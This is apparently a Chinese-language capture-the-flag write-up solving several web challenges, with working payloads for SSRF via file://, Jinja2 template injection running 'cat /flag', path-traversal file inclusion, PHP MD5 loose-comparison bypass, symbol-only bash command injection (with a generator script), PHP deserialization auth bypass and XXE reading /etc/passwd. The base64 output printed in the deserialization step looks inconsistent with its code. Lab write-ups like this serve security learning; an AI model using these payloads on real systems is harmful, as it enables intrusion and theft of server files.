浏览器也能套娃？

POST抓包，发现套了一层URL

actuator-env

发现会嵌套url参数的网页，代表可以远程访问，尝试使用伪协议，尝试file协议

1
url=file:///etc/passwd

actuator-env

可以进行使用，尝试访问根目录/flag，成功

一个…池子？

首先考虑注入，测一下是SQL注入还是SSTI注入

发现：

1
2
POST: {{7*7}}
回显: 49

是SSTI的Jinja2模版注入

非常简单，payload：

1
{{''.__class__.__base__.__subclasses__()[290].__init__.__globals__['os'].popen('cat /flag').read()}}

高亮主题(划掉)背景查看器

首先给了源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
  // 文件包含漏洞演示
  if (isset($_GET['url'])) {
  // 读取并包含用户输入的文件
  $file = $_GET['url'];
if (strpos($file, '..') === false) {
  include $file;
} else {
  echo "Access denied.";
}
} else {
  echo "No file specified.";
}
?>

然后查看网络，看我们在哪里传入恶意攻击

发现页面提交了POST表单theme

那我们就可以绕过网页对url的检测

payload：

1
theme=../../../../../flag

百万美元的诱惑

第一关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c > 2024) {
            echo "好康的";
        } else {
            die("干巴爹干巴爹先辈~");
        }
    }
else {
    die("开胃小菜))");
}

审计一下

发现要满足两个条件：

第一个条件：MD5 弱类型碰撞if ($a !== $b && md5($a) == md5($b))

直接MD5经典碰撞对绕过：

1
a=QNKCDZO&b=s878926199a

第二个条件：非数字字符串大于 2024if (!is_numeric($c) && $c > 2024)

1
c=2025a

然后给了一个/dollar.php，进入第二关

第二关

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

上面的正则表达式过滤了以下几种情况

  • 小写字母 a 到 z（忽略大小写，使用 i 修饰符）
  • 数字 0 到 9
  • 特殊字符：;``\``|``#``'``"``%``&``\x09（制表符）``\x0a（换行符）``>``<``.``,``?``*``-``=``[``]

考虑无数字字母RCE，这里我们使用按位取反

Shell编程艺术：构建数字魔术——5的生成揭秘-CSDN博客

在这篇文章先学习一下

然后写了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
"""
Bash Pure-Symbol Number Constructor
基于 $((~$(()))) 拼接 + 外层取反机制生成 CTF WAF 绕过 Payload
"""

import sys

def construct_number(n: int) -> str:
    """
    构造纯符号 Bash 算术表达式表示数字 n
    
    原理:
      - $((~$(()))) => -1
      - k 个 -1 拼接 => "-1-1-...-1" => 算术值为 -k
      - ~(-k) = k - 1
      - 因此要得到 n, 需要 k = n + 1 个 $((~$(())))
    """
    if n < 0:
        raise ValueError(f"当前构造器仅支持非负整数, 收到: {n}")

    NEG_ONE = "$((~$(())))"

    # 特殊处理 0: 直接使用空算术扩展
    if n == 0:
        return "$(())"

    # 核心公式: n = ~( -(n+1) )
    count = n + 1
    inner = NEG_ONE * count          # 无运算符紧密拼接
    payload = f"$((~$(({inner}))))"  # 外层包裹取反

    return payload


def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <number>")
        print(f"Example: {sys.argv[0]} 12")
        sys.exit(1)

    try:
        target = int(sys.argv[1])
    except ValueError:
        print(f"Error: '{sys.argv[1]}' is not a valid integer")
        sys.exit(1)

    result = construct_number(target)

    print(f"# Target: {target}")
    print(f"# Length: {len(result)} chars")
    print(f"# Inner $((~$(()))) count: {target + 1}")
    print()
    print(result)
    print()
    print("# --- Verification (paste in bash) ---")
    print(f"echo {result}")


if __name__ == "__main__":
    main()

# 要在powershell中运行
# 如：python d:\CODE\test\test.py 12

SAS - Serializing Authentication

给了源码，审计一下

1
2
3
4
5
6
7
8
9
10
11
<?php
  class User {
  public $username;
public $password;
function __construct($username, $password) {
  $this->username = $username;
  $this->password = $password;
}
function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
?>

然后查看页面，看我们在哪里传入恶意攻击。

发现页面有一个输入框用于提交 $data，且验证逻辑仅检查反序列化后对象的属性值。

那我们就可以直接构造一个满足条件的 User 对象，序列化后再进行 Base64 编码绕过验证。
EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class User {
    public $username;
    public $password;

    function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    function isValid() {
        return $this->username === 'admin' && $this->password === 'secure_password';
    }
}

$user = new User('admin', 'secure_password');
$serialized = serialize($user);
$data = base64_encode($serialized);
echo $data . "\n";
// 输出：Tzo0OiJVc2VyIjoyOntzOjgiVXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6OCIkcGFzc3dvcmQiO3M6MTQ6InNlY3VyZV9wYXNzd29yZCI7fQ==
?>

exx

首先是一个登录页面，查看了源码没有发现源码泄露，那就抓包看看

actuator-env

不知道对不对，我是看到这里发现的这题考XXE

然后就可以加入XXE语句并让它回显我们要它会显的东西：先来读取一下用户名和密码

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE ANY [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user>
  <username>
    &admin;
  </username>
  <password>
    123
  </password>
</user>

actuator-env

我们可以看到，它已经读取了服务器下的账号密码文件，接着我们直接读取根目录下的flag文件。

通常情况下flag文件的位置一般就根目录和var/www/html目录之下或者是其父目录之下

存在的形式一般为flag flag.txt flag.php

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY admin SYSTEM  "file:///flag">
]>
<user>
	<username>
    &admin;
  </username>
	<password>
    123
  </password>
</user>

拿到flag